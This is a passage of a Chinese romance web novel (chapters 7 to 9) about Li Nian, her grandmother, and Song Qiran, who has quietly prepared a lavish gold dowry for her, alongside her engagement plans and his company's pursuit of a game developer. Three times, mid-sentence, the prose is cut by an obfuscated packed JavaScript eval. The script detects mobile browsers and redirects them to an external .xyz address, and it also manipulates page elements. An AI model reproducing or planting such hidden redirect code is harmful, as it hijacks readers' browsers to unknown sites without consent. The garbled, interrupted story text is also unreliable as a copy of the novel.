宋祈然接过杯子,余光瞥见黎念正在剥水煮蛋,可能是外壳太烫,她拿起又松开,放在桌面上滚了几下。 “念念,别忘了给你爸爸那边打个电话拜个年。” “放心吧阿婆,昨晚就视频通话了,他托我向您问声好。” 项秀姝点了点头:“你在颐州过年,那你爸爸在香港有人陪吗?” 剥了皮的水煮蛋白嫩透亮,黎念用餐刀划开,应道:“姐姐在家的,采晴也在。” 采晴是黎蔓的女儿,今年五岁,项秀姝知晓黎蔓离婚的事情,也庆幸她争取到了女儿的抚养权。 “挺好的,有她们在也不会冷清。” 项秀姝想起黎念的工作,又问她年后是不是就要正式上任了。 “是的,古村那一片已经不对外开放了,年后市里的领导还要过来考察,忙的事情不少。” 项秀姝担心黎念年纪轻,经验少,在颐州工作难免会水土不服,于是有意提点了几句,还说她身旁就坐着个有求必应的主。 她们聊天的时候宋祈然一直是沉默状态,他剥了两颗水煮蛋,又耐心地把蛋黄分离出来,听到这儿才出声:“有问题可以随时找我。” 说罢他就把只装有蛋白的餐盘往黎念面前推了一下。 “要换吗?” 黎念发怔的间隙,项秀姝笑了。 “还是你记性好,我都差点忘了她挑嘴。” 黎念打小就只吃水煮蛋的蛋白,而挖出来的蛋黄多半会被她丢弃,这个浪费行为让她没少挨家里的批评。 只有宋祈然惯着她。 他也说浪费食物不好,但他会把黎念不要的蛋黄拨到自己碗里,小姑娘食量不大,很多东西扒几口就吃不下了,宋祈然会替她分担,从来不嫌弃。 那会儿他总说,你先吃,吃不完再给哥哥。 似曾相识的场景就摆在眼前,但这一次,黎念把他的盘子推了回去。 “没事,我现在都吃。” 她开了个牛油果,又拿了胡椒和酱油,淋在对半切开的鸡蛋上。 项秀姝半信半疑:“口味还能变?” “小时候就是作,嫌蛋黄太干了噎嗓子,其实没有那么讨厌。”黎念抬眼笑了笑,“长大了,总是不一样的。” 餐具轻碰发出清响,宋祈然端起咖啡杯,目光落在洁白莹润的骨瓷盘上。 他的眉宇是舒展的,人却似乎陷入了沉思。 …… 春节的过法多种多样,各个地区的风俗也存在一些差异,颐州的年夜饭时间偏早,多半在下午四五点钟开餐,这一餐的分量只多不少,到了夜里还会再来一份甜汤,占齐了年年有余,甜蜜顺心的寓意。 项秀姝习惯早睡,熬不到喝甜汤的那个点,春晚开始前,她把黎念喊进了自己的卧房。 衣帽间的隔壁有一道暗门,解锁进去后项秀姝开了灯,黎念稍微适应了一下光线,发现这竟是一间保险室。 “我说衣帽间的格局怎么变了,您这可是大工程啊。” “来这边看。” 项秀姝拉着她站在一排嵌入式的展柜前,内置灯亮起,黎念才看清里面的东西。 不管是官窑的霁红盘,描金缠枝花卉纹的双耳瓶,还是荷叶浮雕的白玉对杯,每一样都是巧夺天工,美轮美奂。 项秀姝在清点藏品,黎念却觉得自己稍一晃神就要跟不上节奏了,她玩笑道:“阿婆,您把家底全露给我啊?” “本来就是给你的呀。” 她又牵着黎念到另一头,揭下一扇屏风的盖布,精美的龙凤呈祥双面绣缓缓映入眼帘,边框还镶了一圈祥云琉璃砖,无论是做工还是尺寸都令黎念叹为观止。 “这是找绣坊定制的,花了整整一年的时间。”项秀姝拍拍她的手,泛动的眸光蕴藏着百转千回的思绪,“念念,你妈妈走得早,阿婆替你打点了,这些都留给你做嫁妆。” 往事虽然翻篇,但此刻想来仍然记忆犹新,当年叶思婕和黎振中的婚事其实是遭到叶家父母极力反对的,最大原因是黎振中离异还育有一女的过往。 项秀姝和丈夫都接受过高等教育,并且拥有留洋经历,思想的开放程度远远超越同辈人,可真遇到与自己女儿切身相关的大事,他们的理性就落了下风。 叶思婕争取过也恳求过,哪怕香港的婚礼盛况空前,哪怕黎振中放下身段诚意尽献,也不能轻易扭转叶家父母的偏见。 直到黎铮和黎念的出生缓和了气氛,两边才逐渐恢复来往。 人的遗忘具有选择性,而某些隔阂是深埋心底不见天日的伤疤。 时过境迁,项秀姝承认自己对女儿有过很多愧疚的时刻,可惜斯人已逝,她如今只能将这些无法释放的情感尽数弥补在黎念身上。 担心项秀姝陷入悲恸情绪,黎念开始主动转移话题。 她发现角落垒着几个黄花梨木箱,甚是浮夸甚是显眼,顺口就问:“阿婆,那些是什么?” 项秀姝欲言又止,她让黎念自己过去看。 黎念随手挑了一个箱子开盖,哪怕做好心理准备,眼前的一切还是让她钉在原地,瞠目结舌。 项秀姝说,这些也是嫁妆。 宋祈然准备的。 …… 项秀姝睡下后,黎念回了南院。 起居客厅的电视开着,每个频道都在转播春晚,小品演员生动精彩的演绎赢得观众掌声阵阵,喧闹穿透屏幕敲击着耳膜,仿佛那一刻才有欢度佳节的实感。 等到这个节目演完,黎念去了趟地下酒窖,她挑好红酒折回二楼,正好遇上宋祈然。 相互对视一眼,黎念的脚步没停,她打开立柜拎上两个高脚杯,声音淡淡的:“一起喝点?” 破天荒的主动邀请,宋祈然顿了一秒,说行。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466336|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宝石红的液体灌入醒酒器,又顺着玻璃杯壁往下滑,荡起轻盈的漩涡。 两人坐在沙发上,前半程没碰杯也没交流,黎念喝得比较快,一杯酒几口下肚根本不带犹豫的,看得宋祈然眉心微拧,忍不住提醒:“慢慢喝,伤胃。” 黎念这才缓下速度,往怀里揣了个抱枕,她看眼时间,突然道:“还有一个小时三十六分钟,等零点一过,我就二十七岁了。” 宋祈然接着她的话说:“挺小的。” “比起你来当然是。” 不饶人的性格没变,逮着一句话就能堵得别人哑口无言,宋祈然忽地一笑,举起杯子喝了口酒,偏眸望向黎念。 月眉星眼,娇俏明艳,是最美好的年纪。 和记忆中那个烂漫稚气的姑娘相比,她现在的五官和脸型都褪去了少女青涩,一种独属于成熟女人的风韵正在崭露头角。 她一直都很耀眼,时间的冲刷并没有让这颗明珠磨损暗淡,反而使其折射出更加璀璨的光华。 黎念晃着高脚杯,迎上宋祈然略显深沉的目光,问他:“我们几年没见了?” 许是在回想,宋祈然答得很慢:“有九年了吧。” 黎念离开颐州那年是十七岁,他记得很清楚。 “错,是七年。”黎念的双颊因扩散的酒意染上一丝绯色,她闭了闭眼,“七年前,颐州国际机场T3航站楼,严格来说,那才是我们最后一次见面。” 宋祈然并非没有印象,那时的泛亚还在起步阶段,出差是家常便饭,在机场的偶遇是两人分离后打的唯一一次照面。 彼此遥望,他还没来得及问候,她就头也不回地走了,视他为空气,视他为无物。 就好像两个人从来都不认识一样。 高脚杯被重重地搁在茶几上,玻璃和奢石触碰的瞬间发出短促且刺耳的噪音。 黎念收回手,盯着空空如也的杯底,漫不经心道:“别忘了,你和黎家早在那个时候就已经没有关系了,我们在法律层面上不是家人,血缘上更不是。” 生怕宋祈然不理解她为何提及此事,黎念直截了当地问道:“保险室那几箱金器是什么意思?” 空气似乎都停止了流动。 宋祈然一口喝光剩下的酒,回应得很简单:“没什么意思,放着给你当嫁妆。” “给我?你以什么身份给我?”黎念的语气有些咄咄逼人,“我们又不是亲兄妹。” “我答应过你的,那就是你的东西。” 黎念扯了下嘴角,顿觉荒唐:“小时候随口一说的玩笑话你也当真?” “对。”宋祈然盯着她,眼底全是认真的痕迹,“只要你开口。” 金器也好,被黎念扔在抽屉里的祈福手串也罢,包括重逢以来他对她的种种照顾,宋祈然似乎在用这些方式告诉黎念,她想要的东西他都会给,她遇到的麻烦他都会解决。 就和从前一样。 但黎念不行,她无法忽略现实,无法忽略这些年来两人在关系和情感交流上的空白。 今非昔比,他们早就回不到过去了。 “没有必要。”葡萄酒的后劲让黎念的眼眶也开始微红,“我知道这些年你一直在照顾阿婆,你做的已经够多了。” 宋祈然的表情难得如此严肃,他的眉间轻攒起烟霭愁云,讲话却依然沉声静气:“没什么够不够的,本就是我的责任。” “不是。”黎念丢掉怀里的抱枕站起身,胸口微微起伏,“你不欠我的,也不欠黎家和叶家任何一个人。” “我愿意。” “你有病!” 撂下这句话后,黎念也懒得管宋祈然是什么反应,扭头就往卧室方向走。 门板受了力,“砰”地一声关上,彻底隔出两个世界。 7.Chapter 7 那晚过了零点黎念都没有睡着,只要闭上眼睛,她满脑子都是黄花梨木箱,以及和宋祈然的对话。 她惊讶的不仅仅是金器的数量,还有金器的样式,而这一切都源于她小时候的无心戏言。 黎念闲来喜欢看书听故事,对一些野史奇闻尤其感兴趣,有个关于地主嫁女的趣闻给她留下了特别深刻的印象,说的是两个同乡地主撞上同一天嫁女,为了给自家挣面子,双方居然在准备嫁妆的过程中暗暗攀比了起来。 “不管是衣架子还是官皮箱,酒壶还是食篮,就连发梳和烛台这样的小玩意儿都是用纯金打造的,十里八乡都盯着,一方多了什么,另一方就疯狂加码,比到最后,两边都把家底掏空了,女儿风光出嫁,地主们也破了产。” 复述给宋祈然听的时候,黎念还能清楚记得细节,她玩笑道:“等我以后结婚,我也要让爸爸用金子给我打东西,什么首饰盒啊,子孙桶啊……” 她掰着指头数,宋祈然反问:“知道子孙桶是哪三样吗?” 黎念不清楚,搜完图片的她脸上闪过一丝尴尬,但又迅速恢复为若无其事:“马桶怎么了,纯金的诶,上个厕所都有气势。” “还挺务实的。”宋祈然笑得肩颤,继续问,“还有呢,还想要什么?” “干嘛,你用金子给我做啊?” “行啊。” “那我可就不客气了,你好好记一记啊,茶杯餐碗,汤勺筷子这些是最基本的吧……” 那年黎念才十五,还未参透婚姻的意义是什么,如果不是刻意回忆,那些信口开河的话她一个字都不会放在心上。 宋祈然却完整兑现了诺言,不止是她随口胡诌的物件,还有价值连城的凤冠珠钗,宝石玉镯,集齐这些东西光靠金钱是不够的,时间和精力更是隐形的付出。 哪怕黎铮还在世,作为亲哥哥的他都没有义务用这种标准给黎念置办嫁妆,更何况是毫无血缘关系的宋祈然。 黎念实在想不出他这么做的理由。 而且再这么深究下去,她这一晚怕是真的要睁眼到天亮了。 为甩开脑中纷杂的思绪,黎念拨通了程隽的电话,她知道他没睡,方才零点的时候他还掐时间发送了新年快乐。 那日在程家的不愉快已经是过去式,程隽依然是主动示弱的一方,用好友林佩珊的话来讲,这种男人觉悟够高也够聪明,凡事不要执意争道理,放下身段低低头才能解决情侣间的大部分问题。 黎念连续拨了两次号码,次次都是占线的提示音,十多分钟后程隽回电过来,她疑惑问:“跟谁打了这么久电话?” “没什么,一个外国朋友。”程隽的声音听上去还很清醒,“怎么了,是睡不着,还是想我了?” “自恋。”黎念团着被子翻了个身,“睡不着,找你聊聊天。” 闲扯几句之后,程隽想起一件重要的事。 “初五有空吗,和我爸一起吃个饭?” 黎念一下子就精神了起来,尾音上扬:“程伯伯回来了?” 程隽佩服她调动情绪的速度,觉得好笑:“见我爸比见我还要激动是吧?” 黎念怪嗔道:“说正经的。” “行,正经的,初五中午十二点,等我订好餐厅再把地址发给你。” “午饭吗?” “对,吃完饭就得直接去机场了,要和我爸去大阪出趟差。” 程隽此行短则需要耗时半个月,去看订婚场地的任务就落到了黎念一个人身上,事儿赶事儿都集中到了一起,她有预感,过完这个年自己肯定会忙到脚不沾地。 提起淮恩公馆,黎念不免想到宋祈然拉的微信群,他那位朋友也不知是何方神圣,借场地的事是一秒没犹豫就答应了,甚至还是无条件出借,不肯收取任何形式的费用。 对方这样的好商量显然是看在某人的面子上,出于礼貌,黎念觉得至少得和这位业主见个面,吃顿饭。 组局不难,只是又得搬出宋祈然这个牵线的中间人。 黎念顿觉一个头两个大,毕竟几小时前她还骂他有病来着。 ……早知道就忍一忍了。 揣着这样不尴不尬的心情入眠,黎念哪怕在梦里也难安。 她甚至臆想出宋祈然要自己跪滑道歉的场面,那副拿捏她的模样实在逼真,导致第二天醒来时黎念还心有余悸。 她坐在餐桌上,盯着只有两人份的早餐,眼神乱飞,却始终不见某人身影。 “阿婆,就我们俩吗?” 项秀姝垫好餐布,点了点头:“祈然一大早就出门了,说是有客人要接待。” “客人?”黎念惊讶他大年初一还有应酬,“那下午去泽阳也是我们两个人吗?” 每年春节项秀姝都要同她那位在泽阳的老闺蜜聚一聚,今年也不例外,从颐州到泽阳不过一个半小时的车程,吃好晚饭就能回来。 “他说办好事情就来接我们。” 黎念在红茶里加了牛奶,往嘴里送的时候差点烫到舌头,嘶了口气,又问:“几点,来得及吗?” 项秀姝抬眸看她一眼:“没说,你等会儿问问?” 黎念脱口就是拒绝:“我才不问。” “那你操心什么?” “……” 项秀姝笑:“成冤家了。” 祖孙俩为泽阳之行做准备的那会儿,宋祈然正坐在车里。 黑色迈巴赫停靠在私人会所的侧门通道,这里僻静隐蔽,鲜有人出入,只有角落的几株山茶花开得旺盛。 宋祈然掐着点降下车窗,五分钟后,助理颜肃出现了。 “宋总,人刚送走,他们下午还想去枫湖景区逛一逛,已经安排本地向导和翻译一起陪同前往了。” “嗯,辛苦了。” “不辛苦。”颜肃的语气难掩兴奋,“佩里先生很了解泛亚,看得出来,他对我们应该是感兴趣的。” 佩里是知名的游戏制作人,曾担任北美著名游戏软件制作商Riven Studio的创意总监,更是殿堂级3A大作《新鲜血液》的首席设计师兼编剧。 经历股权变动的Riven Studio在去年进行了一轮内部大洗牌,与之理念不合的佩里也于年底正式从老东家离职,传闻说他带走了几位元老级成员,有意以工作室的形式组成一支独立的游戏开发团队。 闻风而动的游戏公司不计其数,谁都想将这支强劲队伍收编,泛亚也不例外。 作为泛亚的起点和灵魂,游戏业务向来是集团最看重的板块,事业群的新年计划里,最醒目的一项就是在纽约设立全新的办事处,组建一个专业的3A游戏工作室。 若能得到佩里团队的加持,那么新工作室的整体实力将会迎来飞跃提升。 听说佩里夫妇要来中国体验春节,这才有了今天这顿午间宴请,泛亚近几年一直致力于在海外投资收购工作室,宋祈然不可能桩桩件件都盯着,今日纯属破例。 颜肃思来想去,还是问出了口:“佩里先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472381|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来中国的事情估计没什么人知道……科润那边要去探个底吗?” “我想他们的消息还不至于这么闭塞。”宋祈然的手搭在膝盖上,指尖轻点,“不用在意,我们就按自己的节奏来。” 不仅是游戏产业,作为后起之秀的科润在方方面面都是泛亚不容小觑的竞争对手,签下佩里团队同样也是他们的目标。 只是这家公司在业内的口碑十分两极化,还屡次三番陷入抄袭风波,更有传言称,泛亚个别高层与科润有着说不清道不明的牵扯,此前莫名被截胡的一宗并购案就充满了疑点。 泛亚内部一直没有彻查,对管理层不满的声音从未止息,可在颜肃看来,冷处理绝不是为了放任和坐以待毙,凭他对宋祈然的了解,此事不是抓几个典型以儆效尤就能轻易收场的。 钓鱼需要沉得住气,等的就是一网打尽的机会。 “宋总,下午还有其他安排吗?” “没什么事了,今天辛苦你,早点回家吧。” 宋祈然说着拿起了手机,屏幕一亮,显示有新消息进入。 只是还没来得及看…… 对方又撤回了一条消息。 而站在车外的颜肃听到没有工作安排之后居然露出了一丝遗憾表情,对他来说,过年的临时加班其实是个逃避七大姑八大姨围堵的好机会,于是不死心问:“您等会儿还要去哪里吗?司机不在,要不……” 宋祈然没反应,因为他的注意力全在对话框里。 黎念:【你那边大概几点结束?】 末了还加上一句:【阿婆让我问的。】 她给了一个小小的台阶,接着又立刻撇清自己,宋祈然甚至能想象出她抱着手机打字的画面。 淡漠的眼神,拉直的唇线,浑身的别扭劲都快渗进标点符号里了。 通常情况下,她不会做那个先低头的人,至于不欢而散后为什么还会主动联系,宋祈然也能猜到一二。 她应该是有事要找他谈。 宋祈然看了眼时间,回复道:【马上。】 “宋总?” 颜肃的声音再次响起,宋祈然终于将目光偏过去,眉间凝着疑惑:“你怎么还在?” “……” 颜肃语噎,他知道自己的碎碎念变成了无效的空气。 宋祈然从后排下了车,又打开驾驶室的门,他看了颜肃一眼,后者只好将车钥匙递上。 “对了。”宋祈然接过钥匙在手心里一转,突然问,“采津轩今天营业吗?” “可能吧,年夜饭都接的,大年初一应该也开着,您要约位置吗?” “我想知道他们的栗蓉荷花酥还要不要提前预订。” 老牌饭店为了不影响出品质量,很多镇店的招牌菜式都要提前预留,不能外卖只能现场打包,就连点心也不例外。 “我问问。” 颜肃动作很快,他给饭店打完电话应道:“今天的荷花酥都订出去了,但有一桌客人可能会取消预约,他们要是不来就能多出一份,说是晚点确认好了再回电。” 宋祈然说了声行,结果下一秒就启动了车子。 颜肃握着手机有些懵:“您不等吗?” “去店里去碰碰运气。”宋祈然从车窗里递了样东西出来,“新年快乐。” 还没等颜肃反应过来,车子就驶离原位只留下尾灯的影子,颜肃盯着手里那个夸张的红包,讶异到嘴唇微张。 这都等不了,这位什么时候长的甜品脑袋? 8.Chapter 8 项秀姝和她那位泽阳的老姐妹有着几十年的交情。 两人既是校友,又都曾担任颐州大学外国语学院的教授,一个教法语,一个教西班牙语。 年轻的时候她俩真算得上是形影不离,也习惯了大小事都有对方陪伴,后来项秀姝随丈夫参加驻外工作离开了颐州,她走了有多久,她那位老闺蜜就怨声载道了多久。 到了如今这般年纪,又分住两地,对她们彼此来说,每一次见面都显得尤其珍贵。 “怎么样,好看吗?” 项秀姝站在穿衣镜前左右转了下身子,新年的第一身打扮,她从不含糊。 “好看,我当时看到样衣就觉得这件宋锦适合您。”黎念说着又从匣子里挑出一对正阳绿的翡翠葫芦耳坠,“您换这副试试。” 项秀姝对这组搭配很是满意,她整了整衣领,又问:“你订婚要用的那件旗袍改好了吗?” “嗯,已经试过了。” 项秀姝透过镜子看着黎念的眼睛,没忍住还是开了口:“上回我就挺想问你的,订婚这些安排,阿隽家里没有意见吧?” 黎念想起谭美珍那些话,迟疑了一秒,但很快应道:“没有。” 转瞬即逝的小情绪被项秀姝尽收眼底,她就是了解黎念的性子才会担心。 “凡事要多和阿隽商量,相处容易相守难,想长久就得互相理解,迁让。” “阿婆,您别老觉得是我占了上风为难他。”黎念抿抿嘴,“所有事情我们都是商讨之后才下决定的,我也不是那种专断独行的人,有什么想法他随时可以提出来,既然答应了就说明能接受,要不一开始就别同意,您说是不是这么个道理?” 饶是项秀姝也辩不过她,故作气恼地用食指点了下黎念的额头:“当初该让你阿公重点培养的,真是可惜了这张嘴。” 黎念淡淡一笑,有些推心置腹的话她只能同项秀姝讲。 “阿婆,我没那么理想化,我知道婚姻和恋爱不一样,一个是要脚踏实地的三餐日常,一个是能冲昏头脑的憧憬幻想,只要时间够久,再荡气回肠的感情也会归于平淡,要结婚的话,对方起码得是个无条件包容我,对我好的人。” “看来你的体会还不够深刻。”项秀姝转身,颇为语重心长,“你会毫无缘由地对一个人好吗?” “当然……”黎念顿了一下,“不会。” 项秀姝又问:“那你怎么就能确定你选择的人会永远无条件包容你,对你好?凭的是什么?” 或许是在思考,黎念没有回答。 “念念,这一切成立的前提必须是爱,否则都是空谈。” …… 黎念和项秀姝从卧房出来的时候,宋祈然已经在正厅候着了。 他穿着一件没有任何花样纹饰的白色毛衣,长腿交叠靠在沙发上,手里还捧了一本书,腕间露出的那只蓝底星月陀飞轮偶尔泛着冷光,整个人从侧面看是两耳不闻窗外事的专注模样。 常姨送了壶热茶过来,黎念这才发现茶几上还摆着一个精致的纸袋,上头印有采津轩的纹样。 项秀姝也注意到了,坐下后便调侃:“看来这顿应酬的午餐没有吃饱,怎么还打包回家了?” “阿婆。”宋祈然见到来人,挺背调整好坐姿,“您打开看看。” 项秀姝接过袋子,掀起食盒盖子扫了一眼。 “栗蓉荷花酥,他家这道点心是出了名的不好买。” 宋祈然合起书,唇角轻扬:“是。” “念念,你坐这儿。”项秀姝指着身旁的位置,朝黎念抬了抬下巴,“尝尝,这不是你最喜欢的吗,听说采津轩换过一批师傅,你看看味道有没有变。” 光看样子是没什么变化的,掌心大小的立体酥花,黄蕊托底,粉瓣重重,从颜色到造型都将荷花模仿得栩栩如生,轻盈酥皮入口即化,而后绵软的栗蓉覆上味蕾,质地细腻,甜度刚好。 黎念回味了半刻,有时不得不承认,食物和音乐一样,可以成为某段时光甚至某个瞬间的载体,只要轻轻碰撞,熟悉的感觉便能喷薄而出。 “没变。” 话是这么说,结果她咬一口就放下了,低头擦着手,神色平静,似乎没什么特别感慨。 项秀姝以为这糕点出了问题,黎念解释:“挺好吃的,但是占肚子,我怕一吃多晚饭就没胃口了。” 说完她就直接起了身:“快出发了吧?我也去换身衣服。” “真是奇了怪了。”黎念的身影刚消失,项秀姝便轻蹙起眉,“在国外都要念着这一口的,今天是怎么了。” 她看向宋祈然,压低声音,语气含着一点惋惜:“浪费你一片心意了。” “不会。” 宋祈然并没有因为黎念的淡漠而流露出任何失望和不满。 可项秀姝没那么迟钝,黎念这段时间的表现她通通看在眼里,难的就是这种不阴不阳的态度,没法问也没法管。 “祈然。”项秀姝唤了一声,脸上表情有些无奈,“就这脾气,别跟她计较。” “没事,您别多想。” 沸茶滚烫,宋祈然端起杯子吹散缭绕的热气,双眼微抬,语气也是轻松的:“我能跟她计较什么。” …… 此行去泽阳项秀姝准备了很多礼物,光是清点就花了不少时间。 宋祈然喝完茶看了眼数量,打算去停车库换台车,刚从南院出来的黎念也跟着绕到了后院。 一排车里就属她那辆火红的SF90最突出,跑车罩在同色车衣下,像个抢眼的大玩具,当初买的时候确实上头,现在再看,感觉只剩下招摇。 黎念围着自己的车绕了几圈,有点没事硬找事做的嫌疑,宋祈然的余光注意到这一切,盖好后备箱,转身好整以暇地望着她。 “怎么了,是车子有什么问题吗?” “没有。” 黎念掸了掸车顶上并不存在的灰尘,忽然从兜里掏出一张东西递过去。 宋祈然看了一眼没有接,眉间慢慢浮起不解:“这是什么?” “银行卡。” 宋祈然当然知道这是张银行卡,但他依旧没反应,似乎在等一个具体解释。 黎念抬起的手也没落下,慢声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479445|185277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我打听过了,淮恩公馆没有外借记录,我只能用同类型的洋房租赁做个参考,策划加布置差不多需要三天时间,这卡里有二十万,密码是六个零,你帮我转交给业主吧。” 黎念不爱占人便宜,对方既然给了这么大的面子,那她必须得有所表示。 “业主有空的话,我还想做东请人家吃一餐饭,你要是方便能不能替我问问看?” 末了,她又添一声谢谢。 宋祈然耐心听完这些话,转头便打开驾驶室的门坐了进去。 “吃饭没问题,把卡收回去。” 黎念立刻跨了几步跟上前,宋祈然降下车窗,目视前方的时候侧脸线条看起来很硬朗。 “你和阿婆去正门等,我把车子开过来。” 黎念根本不在乎他的打岔,站在车外坚持道:“钱不是给你的,我只是让你转交。” “我说不用就不用。” “那是你朋友,又不是我朋友。” 宋祈然锐利的目光扫过来,好像能把她从头到尾都看穿:“就这么怕欠我人情?” 黎念毫不闪躲地直视他,语气也强硬:“没错,你可以这么理解。” 她的表情不能再真挚,敢情中午发的简讯给的台阶就是为了这件事。 宋祈然别过头去,忽地发出一声轻笑,带着细微短促的气音,黎念不懂其中意味,也分不清是惹恼了他还是真的逗笑了他。 车子启动的声音很突兀,在玻璃窗升上去之前,黎念果断把银行卡丢进了主驾。 她也懒得再和宋祈然掰扯,率先离开了停车库。 今日无风也不见晴,几人到达泽阳的时候天幕已经开始发暗发沉。 晚上用餐时,项秀姝只顾着和她的老姐妹谈天叙旧,偶尔点到黎念和宋祈然,那两人也是言笑晏晏,惠风和畅。 表面功夫做得滴水不漏,至少外人看不出一丝嫌隙,融洽得连项秀姝都不禁生疑,直到返程途中她才敢确定这俩人是在冷战,因为掉针可闻的车厢已经说明了一切。 车子在高速路上疾驰,除了前灯映亮的反光带和路牌,左右两边都是伸手不见五指的黑暗。 吸光的黑色在此刻好像也吸走了一切声源,夹在两两沉默之间的项秀姝甚至都要庆幸,至少这对冤家在饭桌上给她撑足了场面。 车子驶入煦园时已是深夜,黎念一踏进南院就径直回了房间。 洗完澡有些口干舌燥,黎念裹好还在滴水的头发,想去倒杯水,结果刚推开门,就听见三楼传来一阵闷闷的落锁声。 宋祈然刚回了房间。 黎念暗叹自己会抓时机,避免了狭路相逢的尴尬,她移步到客厅,视线余光里,浅色奢石的茶几上多了一张银行卡。 正是她往宋祈然车里丢的那张。 有时是人不饶岁月,骨子里的很多东西是不会改变的,她差点就要忘了,这人一旦犟起来也是有过之无不及的。 算了,不帮就不帮。 黎念也干脆,拾起卡直接往睡衣兜里一揣,裹发的毛巾没缠紧,她一把扯下来抓在手里,倒了杯水仰头饮尽。 9.Chapter 9 初五这天,黎念在清莺园见到了程隽和程仕繁。 这原本是座没落的老戏园子,被一个外地老板接手后改造成了餐厅,沉睡的古戏台经过翻修恢复了昔日富丽堂皇的模样,餐厅的名声传得很快,至今已是宾客如云。 美中不足的是包厢太少,大厅座位有些拥挤,环境稍显嘈杂。 趁着程仕繁离席接电话的工夫,黎念抓着程隽问:“你怎么选了这么个地方,清莺园的菜还是辣的,程伯伯会不会不喜欢?” 程隽摸了摸她的发顶,答非所问道:“前段时间你不是说想尝尝川菜吗,我还以为你吃辣的本事见长了。” 黎念有些无语地皱了皱鼻子,程隽笑着宽慰:“程工这么不拘小节的人,你就是带他下苍蝇馆子他也能吃得有滋有味。” 说罢他又瞧了眼周遭环境,提醒道:“你看看这儿改造得怎么样?” 这下黎念总算明白过来了,戏园改餐厅,这也是旧词新唱,与她想做的事情有异曲同工之妙,更方便她和程仕繁讨论这个话题。 事实证明程隽的安排很有效果,程仕繁回位后主动问起了黎念的工作情况。 “晟和的酒店业务基本都暂停了,需要重新整合,说实话之前那种模式我也没有信心,还不如老实实当个业主,把专业的事交给专业的管理公司来做。” 程仕繁点点头:“和奢牌酒店签约是个不错的选择,能省下不少事,那颐州这个项目呢,打算挂哪家的牌?” 黎念的眼神忽然变得坚定,莞尔道:“集团既然肯放权,我也想放手一搏。” 抛却过去从零开始,她想创立一个属于晟和,能够真正代表晟和的酒店品牌。 “爸,念念向来很有闯劲。” 程隽的话也逗笑了程仕繁,等他聊起枫湖古村改造之事,黎念便趁势翻出手机里的资料,其中包含了很多她亲自收集的村落旧照。 “村舍的建造年代都不太一样,最老的那几批还保留了唐宋时期的风格,历史越久的东西越有生命力,这种老式民居不见得有多起眼多华丽,但都有自己独特的精神面貌,我看了许多投标案例,总觉得欠一口气,因为改造方法和方向一旦走偏,就很有可能变成四不像。” 黎念正襟危坐,语气算得上是郑重:“程伯伯,我们之前就谈过这件事,您的团队无论是经验还是影响力都是我目前最需要的,这是我负责的第一个项目,也是新事业的起点,我想把它做到完美,或许只有您能帮我。” 言语间,程仕繁已经给出了态度:“放心,你的事就是程家的事。” 黎念悬着的心总算可以落地,直到饭局结束送父子二人去机场,她的心情都无比畅快。 程仕繁是个懂眼色的,托运完行李他便先一步去过安检了,将时间和空间留给这对临别情侣。 机场大厅人来人往,角落里也不见得安静,黎念挽着程隽的手臂,踮脚在他耳边说道:“我现在很庆幸,至少你爸爸这个人还是比较好沟通的。” 她口无遮拦,意有所指,程隽一下就听出来了,这是明晃晃地拿谭美珍那件事开涮。 “你怎么这么调皮。” 程隽失笑,可又拿她没办法,黎念不爱装也不会装,嘴欠起来的模样有时候既招恨又拿人。 “好了,时间差不多了,你快进去吧。” 黎念正想松开男友,却瞬间想起一件要紧事,她立马从挎包里掏出一个黑色绒面盒。 程隽好奇:“这是什么?” “胸针。”黎念打开盖子,盒底躺着一朵精致的手工花,“孤品正绢,是裁缝师傅用我那件旗袍剩下的一点料子做的,这世上绝对找不出第二朵。” 她拾起花在程隽的胸口比划了一下:“花心再搭颗珠子就更好看了,订婚那天配你那套西装,怎么样?” 黎念今天还戴了求婚钻戒,葱白细长的手指捏着那朵巧致柔软的胸针花,视觉冲击感十足。 “好看,你喜欢就好。” 程隽心间泛起阵阵涟漪,但碍着场合只能低头在她额上落下一个吻,嗓音沉沉:“等我回来。” “好。” 黎念给了他一个拥抱,脑海里忽然想起项秀姝说的前提。 无条件,不计较。 黎念觉得,这应当就是她和程隽之间的这种感情吧。 …… 春节过后,冬日余韵还有一息尚存,但气温已经逐渐有了回暖的迹象。 节后的第一个工作周,黎念在古村接待了市里派下来的考察团,光是上午这点时间她的运动步数已经破万,好不容易送走一行人,又要马不停蹄地赶回公司开会。 晟和的内地总部设立在路海,酒店业务原本只是合并在其中的一个部门,黎念接手之后便迅速与总部做了分割,在颐州成立了新公司。 与此同时,她还选择启用新人,细化管理,将颐州变成一个崭新的起点。 